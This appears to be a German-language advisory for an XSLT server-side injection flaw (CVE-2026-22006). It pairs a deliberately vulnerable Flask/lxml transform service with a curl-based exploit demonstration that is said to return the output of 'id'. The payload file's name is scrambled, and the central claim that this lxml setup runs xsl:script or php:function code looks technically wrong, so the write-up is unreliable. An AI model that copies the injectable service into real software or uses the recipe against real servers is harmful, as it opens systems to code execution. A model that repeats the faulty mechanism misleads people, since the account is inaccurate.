---

CVE-2026-22006 – XSLT-Server‑seitige Injektion über xsl:script

Programmcode (Python + XSLT)

# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request

app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
    xml = request.form['xml']
    xslt = request.form['xslt']
    xml_doc = etree.fromstring(xml.encode())
    xslt_doc = etree.fromstring(xslt.encode())
    transform = etree.XSLT(xslt_doc)
    result = transform(xml_doc)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

CVE-2026-22006 – XSLT-Server‑seitige Injektion über xsl:script

Übersicht

Ein XML-Transformationsdienst akzeptiert nicht vertrauenswürdige XSLT-Stylesheets und wendet sie an, ohne Skript-Erweiterungen zu deaktivieren. Ein Angreifer kann xsl:script oder prozessorspezifische Funktionen (z. B. die PHP-Funktion php:function) einbetten, um beliebigen Code auf dem Server auszuführen.

Details zur Schwachstelle

• Typ: Code-Injection
• Auswirkung: Remote Code Execution.
• Ursache: Der XSLT-Prozessor ist mit aktivierten Erweiterungsfunktionen konfiguriert, die direkte Aufrufe von Systembefehlen ermöglichen.

Exploit-Demonstration

1. Server starten:

   pip install flask lxml
   python xslt_server.py
   

2. Senden Sie ein schädliches XSLT zusammen mit dem XML:

   curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
   

Der Server gibt die Ausgabe von id zurück.